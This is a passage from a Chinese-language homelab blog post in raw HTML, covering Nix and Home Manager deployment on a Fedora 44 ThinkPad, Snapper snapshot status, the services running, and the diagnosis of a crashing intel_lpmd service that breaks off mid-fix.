&lt;/div&gt;&lt;p&gt;第二次 switch 正常完成，没有意外文件修改。日常更新使用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~/dotfiles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git pull --ff-only
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix flake check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home-manager switch --flake .#veno@thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;更新依赖不会偷偷发生。需要主动刷新锁文件时才运行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix flake update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix flake check
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home-manager switch --flake .#veno@thinkpad
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="实际验收"&gt;实际验收
&lt;/h3&gt;&lt;p&gt;Nix 和 daemon：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix (Nix) 2.34.7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix-daemon.service: enabled, active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELinux: Enforcing
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;新 SSH 伪终端中的 shell 状态为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SHELL=/usr/bin/zsh ZSH_VERSION=5.9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lg=lazygit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;t=tmux
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Home Manager 最初留下两代环境；加入 tmux passthrough 与颜色能力修复后又生成了第三代：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2026-07-13 02:41 : id 3 -&amp;gt; /nix/store/xm9j7i9sjvl29pb6pssyadijm26hc66d-home-manager-generation (current)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2026-07-13 02:25 : id 2 -&amp;gt; /nix/store/8d5rqlqkzmh50mx27mg7wcjzmga9q894-home-manager-generation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2026-07-13 02:23 : id 1 -&amp;gt; /nix/store/5qzlbl1qfnabqfh78q1vx6zz06jzad9n-home-manager-generation
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;工具来源也逐项检查过：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rg -&amp;gt; /nix/store/806nba32b0dw...-ripgrep-15.1.0/bin/rg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bat -&amp;gt; /nix/store/xc0bn29mcc4v...-bat-0.26.1/bin/bat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fzf -&amp;gt; /nix/store/91bsvwdsr2bi...-fzf-0.74.0/bin/fzf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tmux -&amp;gt; /nix/store/ylyz1d8qn137...-tmux-3.7b/bin/tmux
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazygit -&amp;gt; /nix/store/hw140hqyarg...-lazygit-0.63.0/bin/lazygit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yazi -&amp;gt; /nix/store/vr4schdllzmr...-yazi-26.5.6/bin/yazi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;uv&lt;/code&gt;、&lt;code&gt;ruff&lt;/code&gt;、&lt;code&gt;ty&lt;/code&gt;、&lt;code&gt;pyright&lt;/code&gt;、&lt;code&gt;go&lt;/code&gt;、&lt;code&gt;gopls&lt;/code&gt;、&lt;code&gt;golangci-lint&lt;/code&gt; 和 &lt;code&gt;dlv&lt;/code&gt; 全部返回 &lt;code&gt;not enabled&lt;/code&gt;，说明 Python 与 Go 组确实没有误导入；security 模块当前也是空模块。最后创建部署后快照：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;After first Home Manager deployment&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回编号 &lt;code&gt;9&lt;/code&gt;。home 快照列表中，&lt;code&gt;8&lt;/code&gt; 和 &lt;code&gt;9&lt;/code&gt; 分别对应部署前后，早先编号 &lt;code&gt;1&lt;/code&gt; 的 &lt;code&gt;Home baseline before Nix&lt;/code&gt; 也仍然存在。&lt;/p&gt;
&lt;p&gt;这一阶段只完成 ThinkPad。等这套配置真实使用一段时间、模块边界稳定之后，再增加 MacBook 的 &lt;code&gt;aarch64-darwin&lt;/code&gt; 输出；不会为了看起来“跨平台”而提前提交一份从未在目标机器上运行过的配置。&lt;/p&gt;
&lt;h2 id="完成后的系统结构"&gt;完成后的系统结构
&lt;/h2&gt;&lt;p&gt;截至 2026 年 7 月 13 日 03:03，这台 ThinkPad 已经连续运行约 19 小时。到这里完成的不是整个 Homelab，而是一个可以放心继续往上搭服务的 Fedora 底座。&lt;/p&gt;
&lt;h3 id="主机与资源"&gt;主机与资源
&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;当前状态&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;设备&lt;/td&gt;
&lt;td&gt;Lenovo ThinkPad T14p Gen 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname&lt;/td&gt;
&lt;td&gt;static hostname 为 &lt;code&gt;thinkpad&lt;/code&gt;，pretty hostname 为 &lt;code&gt;ThinkPad&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;系统&lt;/td&gt;
&lt;td&gt;Fedora Linux 44 Server Edition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内核&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7.1.3-200.fc44.x86_64&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;Intel Core Ultra 5 125H，18 个逻辑 CPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存&lt;/td&gt;
&lt;td&gt;30 GiB，总使用约 1.7 GiB，可用约 29 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Swap&lt;/td&gt;
&lt;td&gt;8 GiB zram，当前未使用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;电池&lt;/td&gt;
&lt;td&gt;79%，&lt;code&gt;Not charging&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SELinux&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Enforcing&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;主系统盘 &lt;code&gt;nvme1n1&lt;/code&gt; 为 931.5 GiB，除 1 GiB EFI 与 2 GiB XFS &lt;code&gt;/boot&lt;/code&gt; 外，其余空间属于 Btrfs。数据盘 &lt;code&gt;nvme0n1&lt;/code&gt; 为 953.9 GiB，整个分区作为独立 Btrfs 挂载到 &lt;code&gt;/srv&lt;/code&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;挂载点&lt;/th&gt;
&lt;th&gt;实际来源&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme1n1p3[/root]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fedora 根文件系统&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/home&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme1n1p3[/home]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户数据与 dotfiles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/var&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme1n1p3[/var]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统高变动数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/.snapshots&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme1n1p3[/snapshots]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;root Snapper 快照&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/nix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme1n1p3[/nix]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nix store，不进入 root 快照&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/srv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nvme0n1p1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;以后放 Homelab 服务数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;主 Btrfs 文件系统目前只使用约 3.37 GiB，估算可用 924.42 GiB；&lt;code&gt;/srv&lt;/code&gt; 只用了约 6 MiB，基本还是空的。现在看起来有些奢侈，但这正是我想要的状态：系统、用户环境与未来服务数据已经有清晰边界，后面不必一边部署应用一边重新搬文件系统。&lt;/p&gt;
&lt;h3 id="快照状态"&gt;快照状态
&lt;/h3&gt;&lt;p&gt;Snapper 当前有 &lt;code&gt;root&lt;/code&gt; 与 &lt;code&gt;home&lt;/code&gt; 两套配置，timeline 与 cleanup timer 均为 enabled/active：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;配置&lt;/th&gt;
&lt;th&gt;当前策略&lt;/th&gt;
&lt;th&gt;最新状态&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;root&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;10 hourly / 7 daily / 4 weekly / 6 monthly&lt;/td&gt;
&lt;td&gt;最新为 &lt;code&gt;#14 timeline&lt;/code&gt;；保留了 &lt;code&gt;#9 Before Nix installation&lt;/code&gt;，DNF 安装 Zsh 与 Nix 的 pre/post 快照为 &lt;code&gt;#10&lt;/code&gt; 到 &lt;code&gt;#13&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;home&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;24 hourly / 14 daily / 8 weekly / 6 monthly&lt;/td&gt;
&lt;td&gt;最新为 &lt;code&gt;#10 timeline&lt;/code&gt;；&lt;code&gt;#8&lt;/code&gt; 与 &lt;code&gt;#9&lt;/code&gt; 分别是首次 Home Manager 部署前后&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;两边都启用了 number cleanup，普通 number 快照上限 20，important 快照上限 10。它们能处理配置误操作，却仍然不是磁盘损坏时的备份；真正的异机或离线备份还没有做，这是下一阶段必须补上的东西。&lt;/p&gt;
&lt;h3 id="正在运行的系统能力"&gt;正在运行的系统能力
&lt;/h3&gt;&lt;p&gt;这些系统级能力仍然全部由 Fedora 和 systemd 管理：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;单元&lt;/th&gt;
&lt;th&gt;enabled&lt;/th&gt;
&lt;th&gt;active&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sshd.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;SSH 登录，监听 22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cockpit.socket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;Cockpit Web Console，监听 9090&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mihomo.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;规则模式与 TUN 代理，外部控制器监听 9091&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nix-daemon.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;multi-user Nix store 与隔离构建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;snapper-timeline.timer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;定时创建 root/home 快照&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;snapper-cleanup.timer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;按保留策略清理快照&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fstrim.timer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;定期为 SSD 执行 TRIM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Mihomo 已连续运行约 19 小时，常驻内存约 28 MiB。MetaCubeXD 仍可通过 &lt;code&gt;http://172.16.51.113:9091/ui/xd/&lt;/code&gt; 打开；控制器 secret 与代理订阅没有进入博客或 Git 仓库。&lt;/p&gt;
&lt;h3 id="开发环境"&gt;开发环境
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;veno&lt;/code&gt; 的登录 shell 是 Fedora 提供的 &lt;code&gt;/usr/bin/zsh&lt;/code&gt;。Nix &lt;code&gt;2.34.7&lt;/code&gt; 来自 Fedora RPM，daemon 在 SELinux Enforcing 下运行；实际开发工具由 &lt;a class="link" href="https://github.com/U1traVeno/dotfiles" target="_blank" rel="noopener"
&gt;dotfiles&lt;/a&gt; 中的 Flake 与 Home Manager 管理。&lt;/p&gt;
&lt;p&gt;当前 Home Manager generation 为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id 3 -&amp;gt; /nix/store/xm9j7i9sjvl29pb6pssyadijm26hc66d-home-manager-generation
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;rg&lt;/code&gt;、&lt;code&gt;bat&lt;/code&gt;、&lt;code&gt;fzf&lt;/code&gt;、&lt;code&gt;tmux&lt;/code&gt;、&lt;code&gt;lazygit&lt;/code&gt;、&lt;code&gt;yazi&lt;/code&gt; 等命令都来自 &lt;code&gt;/nix/store&lt;/code&gt;。Zsh、Zimfw、Powerlevel10k、tmux、Yazi wrapper 和两组 alias 已经经过新 SSH 会话验证。Python、Go 与 security 软件组仍然关闭；需要哪一组时，再在主机配置里显式导入，而不是继续往全局环境里堆包。&lt;/p&gt;
&lt;h3 id="收尾检查时尚未解决的事情"&gt;收尾检查时尚未解决的事情
&lt;/h3&gt;&lt;p&gt;最后跑 &lt;code&gt;systemctl --failed&lt;/code&gt; 并不是全绿。目前唯一失败的单元是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;intel_lpmd.service: failed (Result: core-dump)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Fedora 的 &lt;code&gt;intel-lpmd-0.1.0-2.fc44&lt;/code&gt; 启动时找不到 &lt;code&gt;/proc/sys/kernel/sched_itmt_enabled&lt;/code&gt;，随后访问 UPower 得到 &lt;code&gt;org.freedesktop.DBus.Error.ServiceUnknown&lt;/code&gt;，最终在 &lt;code&gt;lpmd_main&lt;/code&gt; 中 SIGSEGV。systemd 重试五次后停止。它属于 Intel 平台电源管理，不应该在还没有确认 Fedora 上游修复或替代方案时随手禁用；暂时如实记在这里，后续升级相关软件包后复查。&lt;/p&gt;
&lt;p&gt;此外，&lt;code&gt;fwupdmgr&lt;/code&gt; 仍提示有 4 个设备存在可升级固件。&lt;code&gt;/srv&lt;/code&gt; 还没有承载服务，异机备份、UPS 行为、监控告警和真正的 Homelab 应用也都尚未配置。&lt;/p&gt;
&lt;h3 id="补记处理电源管理崩溃与固件更新"&gt;补记：处理电源管理崩溃与固件更新
&lt;/h3&gt;&lt;p&gt;收尾后我打开笔记本盖子，准备把上面两个硬件相关遗留项也处理掉。操作前重新检查得到：盖子为 &lt;code&gt;open&lt;/code&gt;，AC 电源在线，电池 79%，Secure Boot 为 disabled。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;intel_lpmd&lt;/code&gt; 的日志顺序很关键：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Open /proc/sys/kernel/sched_itmt_enabled failed
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;up_client_get_devices failed: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The name is not activatable
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Process intel_lpmd dumped core in lpmd_main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;进一步检查发现 Fedora Server 根本没有安装 &lt;code&gt;upower&lt;/code&gt;，系统中也不存在 &lt;code&gt;upower.service&lt;/code&gt;。&lt;code&gt;intel-lpmd-0.1.0-2.fc44&lt;/code&gt; 没有优雅处理这个依赖缺失，而是在连接 UPower 失败后 SIGSEGV。准备先创建 root 快照，再通过 Fedora updates 安装 &lt;code&gt;upower-1.91.3-1.fc44&lt;/code&gt;，然后重启 lpmd 验证：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;Before firmware update and intel-lpmd repair&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install -y upower
